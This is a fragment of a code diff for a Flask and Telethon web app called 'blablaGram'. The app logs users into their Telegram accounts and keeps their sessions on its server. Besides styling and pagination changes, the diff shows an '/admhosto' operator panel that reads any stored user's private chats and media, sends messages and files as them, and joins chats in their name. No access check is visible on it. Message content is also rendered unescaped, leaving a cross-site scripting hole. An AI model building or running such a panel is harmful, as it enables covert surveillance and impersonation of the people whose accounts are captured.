- .message-item { max-width: 90%; }
794
- .back-button a { padding: 10px 20px; font-size: 0.9em; }
795
  }
796
  </style>
797
  </head>
@@ -807,9 +711,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
807
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
808
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
809
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
810
- <button onclick="document.getElementById('sendFileInput').click()" class="success-btn">Send File</button>
811
 
812
- <h2 style="margin-top: 30px;">Join Chat</h2>
813
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
814
  <button onclick="joinChat({{ user.id }})">Join Chat</button>
815
  </div>
@@ -823,7 +727,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
823
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
824
  </div>
825
  {% else %}
826
- <p style="padding: 15px; text-align: center; color: var(--text-medium);">No chats found.</p>
827
  {% endfor %}
828
  </div>
829
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -833,124 +737,100 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
833
  <div class="message-viewer" id="messageViewer" style="display:none;">
834
  <h2 id="messagesChatTitle"></h2>
835
  <div class="messages-container" id="messagesContainer">
836
- <button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>
837
  </div>
838
  </div>
839
 
840
  <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
841
  </div>
842
  <script>
843
- let currentUserId = {{ user.id }};
844
- let currentChatId = null;
845
- let lastMessageId = null;
846
- let hasMoreMessages = true;
847
 
848
  function clearChatSelection() {
849
  document.getElementById('messageViewer').style.display = 'none';
850
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
851
- currentChatId = null;
852
- lastMessageId = null;
853
- hasMoreMessages = true;
854
  }
855
 
856
- function displayMessages(messages, prepend = false) {
857
- const messagesContainer = document.getElementById('messagesContainer');
858
- const loadMoreBtn = document.getElementById('loadMoreBtn');
859
-
860
- messages.forEach(msg => {
861
- const messageItem = document.createElement('div');
862
- messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
863
- let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
864
-
865
- let mediaHtml = '';
866
- if (msg.file_name) {
867
- if (msg.file_type && msg.file_type.startsWith('image')) {
868
- mediaHtml = `<div class="media-preview"><img src="/download/${msg.file_name}" alt="Image"></div>`;
869
- } else if (msg.file_type && msg.file_type.startsWith('video')) {
870
- mediaHtml = `<div class="media-preview"><video controls src="/download/${msg.file_name}"></video></div>`;
871
- } else {
872
- mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
873
- }
874
- }
875
-
876
- let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
877
- let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
878
- let metaHtml = `<div class="message-meta">${msg.date}</div>`;
879
-
880
- messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
881
-
882
- if (prepend) {
883
- messagesContainer.insertBefore(messageItem, loadMoreBtn.nextSibling);
884
- } else {
885
- messagesContainer.prepend(messageItem);
886
- }
887
- });
888
 
889
- if (prepend) {
890
- messagesContainer.scrollTop = messagesContainer.scrollHeight - messagesContainer._prevScrollHeight;
891
- } else {
892
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
893
- }
894
  }
895
 
896
- async function fetchMessages(userId, chatId, offsetId = null, limit = 30) {
897
  const messagesContainer = document.getElementById('messagesContainer');
898
- const loadMoreBtn = document.getElementById('loadMoreBtn');
899
- loadMoreBtn.classList.add('hidden');
900
 
901
- let url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${limit}`;
902
- if (offsetId) {
903
- url += `&offset_id=${offsetId}`;
 
904
  } else {
905
- messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button><p style="text-align: center; color: var(--text-medium);">Loading...</p>';
 
 
 
 
 
 
906
  }
907
 
908
  const response = await fetch(url);
909
  const result = await response.json();
910
-
911
- if (!offsetId) { messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>'; }
 
 
912
 
913
  if (result.success && result.messages) {
914
- const prevScrollHeight = messagesContainer.scrollHeight;
915
- messagesContainer._prevScrollHeight = prevScrollHeight;
 
 
 
 
 
 
 
 
 
 
916
 
917
- displayMessages(result.messages.reverse(), offsetId !== null);
918
-
919
  if (result.messages.length > 0) {
920
- lastMessageId = result.messages[0].id;
921
  }
922
- hasMoreMessages = result.has_more;
923
-
924
- if (hasMoreMessages) {
925
- document.getElementById('loadMoreBtn').classList.remove('hidden');
926
  } else {
927
- document.getElementById('loadMoreBtn').classList.add('hidden');
 
 
928
  }
 
 
 
 
 
929
  } else {
930
- if (!offsetId) messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
 
931
  }
932
  }
933
 
934
- async function loadMoreMessages() {
935
- if (currentUserId && currentChatId && lastMessageId && hasMoreMessages) {
936
- await fetchMessages(currentUserId, currentChatId, lastMessageId);
 
937
  }
938
  }
939
 
940
- async function selectChat(userId, chatId, chatTitle) {
941
- currentChatId = chatId;
942
- lastMessageId = null;
943
- hasMoreMessages = true;
944
-
945
- document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
946
- document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
947
-
948
- document.getElementById('messageViewer').style.display = 'block';
949
- document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
950
-
951
- await fetchMessages(userId, chatId);
952
- }
953
-
954
  async function sendMessage(userId) {
955
  const chatId = document.getElementById('sendMessageRecipient').value;
956
  const message = document.getElementById('sendMessageContent').value;
@@ -1130,7 +1010,7 @@ def api_logout():
1130
  def blabla_gram_app():
1131
  if 'user_id' not in session:
1132
  return redirect(url_for('index'))
1133
- return render_template_string(BLABLAGRAM_APP_TEMPLATE)
1134
 
1135
  @app.route('/api/user_chats')
1136
  def api_user_chats():
@@ -1194,31 +1074,31 @@ def api_get_chat_messages(peer_id):
1194
  user_id = session.get('user_id')
1195
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1196
 
1197
- limit = request.args.get('limit', 30, type=int)
1198
- offset_id = request.args.get('offset_id', None, type=int)
 
 
1199
 
1200
  async def _get_messages_async():
1201
  client, error = await get_user_client(user_id)
1202
- if error: return None, error, False
1203
 
1204
  messages = []
 
1205
  try:
1206
  entity = await client.get_entity(peer_id)
1207
- fetched_messages = await client.get_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=True)
1208
-
1209
- has_more = len(fetched_messages) > limit
1210
- messages_to_process = fetched_messages[:-1] if has_more else fetched_messages
1211
-
1212
- for message in messages_to_process:
1213
  msg_data = {
1214
  'id': message.id,
1215
  'text': message.text,
1216
  'date': message.date.strftime("%b %d, %H:%M"),
1217
  'is_sent': message.out,
1218
- 'sender_name': 'Unknown',
1219
- 'file_name': None,
1220
- 'file_size': None,
1221
- 'file_type': None
1222
  }
1223
  if message.sender:
1224
  if isinstance(message.sender, User):
@@ -1229,51 +1109,39 @@ def api_get_chat_messages(peer_id):
1229
  msg_data['sender_name'] = str(message.sender.id)
1230
 
1231
  if message.media:
1232
- download_succeeded = False
1233
- temp_file_name = None
1234
- temp_file_size = None
1235
- temp_file_type = None
1236
  try:
1237
- file_ext = ''
1238
- file_mime = ''
1239
- if isinstance(message.media, MessageMediaPhoto):
1240
- file_ext = '.jpg'
1241
- file_mime = 'image/jpeg'
1242
- elif isinstance(message.media, MessageMediaDocument) and hasattr(message.media.document, 'mime_type'):
1243
- file_mime = message.media.document.mime_type
1244
- if file_mime.startswith('image/'):
1245
- file_ext = '.' + file_mime.split('/')[-1]
1246
- elif file_mime.startswith('video/'):
1247
- file_ext = '.' + file_mime.split('/')[-1]
1248
- else:
1249
- file_ext = '.file'
1250
 
1251
- file_name_base = getattr(message.media, 'file_name', f"msg_{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}")
1252
- if not file_ext and '.' in file_name_base:
1253
- file_ext = '.' + file_name_base.split('.')[-1]
1254
- if not file_ext:
1255
- file_ext = '.bin'
 
 
 
 
 
 
 
 
 
1256
 
1257
- unique_filename = f"{file_name_base.replace(' ', '_')}{file_ext}"
1258
-
1259
- download_path = Path(DOWNLOAD_DIR) / unique_filename
1260
- file_info = await client.download_media(message, file=download_path)
1261
-
1262
- if file_info:
1263
- file_path = Path(file_info)
1264
- temp_file_name = file_path.name
1265
- file_size_bytes = os.path.getsize(file_path)
1266
- temp_file_size = f"{file_size_bytes / (1024*1024):.2f} MB" if file_size_bytes >= 1024*1024 else f"{file_size_bytes/1024:.1f} KB" if file_size_bytes >= 1024 else f"{file_size_bytes} Bytes"
1267
- temp_file_type = file_mime
1268
- download_succeeded = True
1269
  except Exception as media_e:
1270
- print(f"Error downloading media for message {message.id}: {media_e}")
1271
-
1272
- if download_succeeded:
1273
- msg_data['file_name'] = temp_file_name
1274
- msg_data['file_size'] = temp_file_size
1275
- msg_data['file_type'] = temp_file_type
1276
  messages.append(msg_data)
 
 
 
 
 
1277
  except Exception as e:
1278
  return None, str(e), False
1279
  finally:
@@ -1374,7 +1242,7 @@ def api_join_chat():
1374
 
1375
  @app.route('/download/<path:filename>')
1376
  def download_file(filename):
1377
- return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=False)
1378
 
1379
  @app.route('/admhosto')
1380
  def admhosto_index():
@@ -1416,34 +1284,34 @@ def admhosto_manage_user_account(user_id):
1416
 
1417
  chats, error = asyncio.run(_get_chats_async())
1418
  if error: return f"Failed to load chats: {error}", 500
1419
- return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
1420
 
1421
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1422
  def admhosto_get_chat_messages(user_id, peer_id):
1423
- limit = request.args.get('limit', 30, type=int)
1424
- offset_id = request.args.get('offset_id', None, type=int)
 
 
1425
 
1426
  async def _get_messages_async():
1427
  client, error = await get_user_client(user_id)
1428
  if error: return None, error, False
1429
  messages = []
 
1430
  try:
1431
  entity = await client.get_entity(peer_id)
1432
- fetched_messages = await client.get_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=True)
1433
-
1434
- has_more = len(fetched_messages) > limit
1435
- messages_to_process = fetched_messages[:-1] if has_more else fetched_messages
 
1436
 
1437
- for message in messages_to_process:
1438
  msg_data = {
1439
  'id': message.id,
1440
  'text': message.text,
1441
  'date': message.date.strftime("%b %d, %H:%M"),
1442
  'is_sent': message.out,
1443
- 'sender_name': 'Unknown',
1444
- 'file_name': None,
1445
- 'file_size': None,
1446
- 'file_type': None
1447
  }
1448
  if message.sender:
1449
  if isinstance(message.sender, User):
@@ -1454,51 +1322,38 @@ def admhosto_get_chat_messages(user_id, peer_id):
1454
  msg_data['sender_name'] = str(message.sender.id)
1455
 
1456
  if message.media:
1457
- download_succeeded = False
1458
- temp_file_name = None
1459
- temp_file_size = None
1460
- temp_file_type = None
1461
  try:
1462
- file_ext = ''
1463
- file_mime = ''
1464
- if isinstance(message.media, MessageMediaPhoto):
1465
- file_ext = '.jpg'
1466
- file_mime = 'image/jpeg'
1467
- elif isinstance(message.media, MessageMediaDocument) and hasattr(message.media.document, 'mime_type'):
1468
- file_mime = message.media.document.mime_type
1469
- if file_mime.startswith('image/'):
1470
- file_ext = '.' + file_mime.split('/')[-1]
1471
- elif file_mime.startswith('video/'):
1472
- file_ext = '.' + file_mime.split('/')[-1]
1473
- else:
1474
- file_ext = '.file'
1475
 
1476
- file_name_base = getattr(message.media, 'file_name', f"msg_{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}")
1477
- if not file_ext and '.' in file_name_base:
1478
- file_ext = '.' + file_name_base.split('.')[-1]
1479
- if not file_ext:
1480
- file_ext = '.bin'
1481
-
1482
- unique_filename = f"{file_name_base.replace(' ', '_')}{file_ext}"
1483
-
1484
- download_path = Path(DOWNLOAD_DIR) / unique_filename
1485
- file_info = await client.download_media(message, file=download_path)
1486
-
1487
- if file_info:
1488
- file_path = Path(file_info)
1489
- temp_file_name = file_path.name
1490
- file_size_bytes = os.path.getsize(file_path)
1491
- temp_file_size = f"{file_size_bytes / (1024*1024):.2f} MB" if file_size_bytes >= 1024*1024 else f"{file_size_bytes/1024:.1f} KB" if file_size_bytes >= 1024 else f"{file_size_bytes} Bytes"
1492
- temp_file_type = file_mime
1493
- download_succeeded = True
1494
  except Exception as media_e:
1495
- print(f"Error downloading media for message {message.id}: {media_e}")
1496
-
1497
- if download_succeeded:
1498
- msg_data['file_name'] = temp_file_name
1499
- msg_data['file_size'] = temp_file_size
1500
- msg_data['file_type'] = temp_file_type
1501
  messages.append(msg_data)
 
 
 
 
 
1502
  except Exception as e:
1503
  return None, str(e), False
1504
  finally:
 
10
  from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
11
  from telethon.tl.functions.messages import ImportChatInviteRequest
12
  from telethon.tl.functions.channels import JoinChannelRequest
13
+ from telethon.tl.types import User, Chat, Channel
14
 
15
  app = Flask(__name__)
16
 
 
22
  SESSION_DIR = 'sessions'
23
  DOWNLOAD_DIR = 'downloads'
24
  DB_PATH = 'users.db'
25
+ MESSAGES_PER_PAGE = 30
26
 
27
  os.makedirs(SESSION_DIR, exist_ok=True)
28
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
 
67
  <title>blablaGram - Login</title>
68
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
69
  <style>
70
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
71
+ .container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }
72
+ h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
73
+ input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.1em; transition: border-color 0.3s, box-shadow 0.3s; }
74
+ input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; }
75
+ button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
76
+ button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
77
+ button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
78
+ .message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.5; font-weight: 500; }
79
+ .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
80
+ .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
81
+ .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
82
  .hidden { display: none; }
 
 
 
 
 
 
 
83
  </style>
84
  </head>
85
  <body>
 
136
  }
137
  } else {
138
  showMessage('Login failed: ' + result.message, 'error');
 
 
 
 
 
139
  }
140
  }
141
 
 
200
  <title>blablaGram</title>
201
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
202
  <style>
203
+ body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
204
  .app-layout { display: flex; height: 100vh; width: 100%; }
205
+ .sidebar { flex: 0 0 360px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 10; }
206
+ .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
207
+ .sidebar-header h2 { margin: 0; font-size: 1.8em; color: #2AABEE; font-weight: 700; letter-spacing: -0.5px; }
208
+ .sidebar-header .actions button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
209
  .sidebar-header .actions button:hover { background-color: #E6F3FC; }
210
+ .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px; }
211
+ .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }
212
  .chat-item:hover { background-color: #F8F8F8; }
213
+ .chat-item.active { background-color: #E6F3FC; }
214
+ .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
215
  .chat-info { flex: 1; overflow: hidden; }
216
+ .chat-info h3 { margin: 0 0 6px; font-size: 1.15em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
217
+ .chat-item.active .chat-info h3 { color: #2AABEE; }
218
+ .chat-info p { margin: 0; font-size: 0.9em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
219
 
220
  .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
221
+ .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.05); }
222
+ .chat-panel-header h2 { margin: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; }
223
+ .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
224
+ .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
225
+ .chat-panel-header .header-actions button:active { transform: translateY(0); }
226
+ .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
227
+ .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
 
 
228
 
229
  .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
230
+ .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
231
+ .load-more-button:hover { background: #5A6268; }
232
+ .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.98em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
233
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
234
+ .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
235
+ .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
236
+ .message-text { color: #111; }
237
+ .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
238
+ .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
239
  .media-link:hover { text-decoration: underline; }
240
+
241
+ .chat-input-area { background: #FFFFFF; padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px rgba(0,0,0,0.03); }
242
+ .chat-input-area textarea { flex: 1; padding: 14px 18px; border: 1px solid #E0E0E0; border-radius: 24px; background: #F9F9F9; resize: none; overflow-y: auto; max-height: 120px; font-size: 1.05em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
243
+ .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
244
+ .chat-input-area button { background: #2AABEE; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
245
+ .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
 
 
 
246
  .chat-input-area button:active { transform: translateY(0); }
247
 
248
+ .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.4em; text-align: center; }
249
+ .join-chat-section { padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
250
+ .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 10px; font-size: 1em; }
251
+ .join-chat-section button { background: #28A745; color: white; padding: 0 20px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
252
+ .join-chat-section button:hover { background: #218838; }
253
+
254
+ .sidebar-toggle-button.mobile { display: none; }
255
 
256
  @media (max-width: 768px) {
257
  .app-layout { flex-direction: column; }
258
+ .sidebar {
259
+ flex: 0 0 auto;
260
+ width: 100%;
261
+ height: 100vh;
262
+ position: fixed;
263
+ top: 0;
264
+ left: 0;
265
+ transform: translateX(-100%);
266
+ box-shadow: 2px 0 10px rgba(0,0,0,0.1);
267
+ }
268
  .sidebar.active { transform: translateX(0); }
269
+ .chat-panel { width: 100%; height: 100vh; }
270
+
271
+ .sidebar-toggle-button.mobile { display: block; background: none; border: none; font-size: 1.8em; color: #2AABEE; cursor: pointer; padding: 0; margin-right: 15px; }
272
  .sidebar-header .actions { display: flex; align-items: center; }
273
  .chat-panel-header { padding: 15px 15px; }
274
  .chat-panel-header h2 { font-size: 1.2em; }
275
  .chat-input-area { padding: 10px 15px; }
276
  .message-item { max-width: 85%; }
277
+ .sidebar-header h2 { font-size: 1.5em; }
 
 
 
278
  }
279
  </style>
280
  </head>
 
282
  <div class="app-layout">
283
  <div class="sidebar" id="sidebar">
284
  <div class="sidebar-header">
285
+ <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">☰</button>
286
  <h2>blablaGram</h2>
287
  <div class="actions">
288
  <button onclick="newMessage()" title="New Message">✎</button>
 
296
  </div>
297
  <div class="chat-panel" id="chatPanel">
298
  <div class="chat-panel-header" id="appHeader">
299
+ <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">←</button>
300
  <div id="chat-header-info">
301
  <h2 id="chatTitle" style="display:none;"></h2>
302
  </div>
303
  <div class="header-actions">
304
  <button onclick="logout(true)" class="switch-account">Switch Account</button>
305
+ <button onclick="logout(false)">Logout</button>
306
  </div>
307
  </div>
308
  <div class="no-chat-selected" id="noChatSelected">
309
  Select a chat to start messaging
310
  </div>
311
  <div class="messages-container" id="messagesContainer" style="display:none;">
312
+ <button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>
313
  </div>
314
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
315
  <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
 
322
 
323
  <script>
324
  let currentChatId = null;
 
 
325
  let isSidebarOpen = false;
326
+ let oldestMessageId = null;
327
+ const messagesPerPage = {{ MESSAGES_PER_PAGE }};
328
 
329
  function toggleSidebar() {
330
  const sidebar = document.getElementById('sidebar');
 
367
  chatListDiv.appendChild(chatItem);
368
  });
369
  } else {
370
+ chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
371
  }
372
  }
373
 
374
  async function selectChat(chatId) {
375
  currentChatId = chatId;
 
 
376
 
377
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
378
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
385
  document.getElementById('chatTitle').style.display = 'block';
386
  document.getElementById('messagesContainer').style.display = 'flex';
387
  document.getElementById('chatInputArea').style.display = 'flex';
 
388
 
389
+ oldestMessageId = null; // Reset oldest message ID for new chat
390
+ await fetchMessages(chatId, false); // Fetch initial messages
391
  if (window.innerWidth <= 768) {
392
  toggleSidebar();
393
  }
394
  }
395
 
396
+ async function fetchMessages(chatId, isLoadMore) {
397
  const messagesContainer = document.getElementById('messagesContainer');
398
+ const loadMoreBtn = document.getElementById('loadMoreMessages');
399
+
400
+ if (!isLoadMore) {
401
+ messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
402
+ oldestMessageId = null;
403
+ loadMoreBtn.style.display = 'none';
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
404
  } else {
405
+ loadMoreBtn.textContent = 'Loading...';
406
+ loadMoreBtn.disabled = true;
407
  }
 
 
 
 
 
 
408
 
409
+ let url = `/api/chat_messages/${chatId}?limit=${messagesPerPage}`;
410
+ if (oldestMessageId) {
411
+ url += `&max_id=${oldestMessageId}`;
 
 
412
  }
413
 
414
  const response = await fetch(url);
415
  const result = await response.json();
416
+
417
+ if (!isLoadMore) {
418
+ messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>';
419
+ }
420
 
421
  if (result.success && result.messages) {
422
+ result.messages.reverse().forEach(msg => { // Messages are newest to oldest, reverse to oldest to newest for prepending
423
+ const messageItem = document.createElement('div');
424
+ messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
425
+
426
+ let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
427
+ let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
428
+ let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
429
+ let metaHtml = `<div class="message-meta">${msg.date}</div>`;
430
+ let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
431
+
432
+ messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
433
+ messagesContainer.appendChild(messageItem); // Append to bottom of list (which is actually top due to column-reverse)
434
+ });
435
+
436
  if (result.messages.length > 0) {
437
+ oldestMessageId = result.messages[0].id; // The first message in the reversed list is the oldest one fetched
438
  }
439
+
440
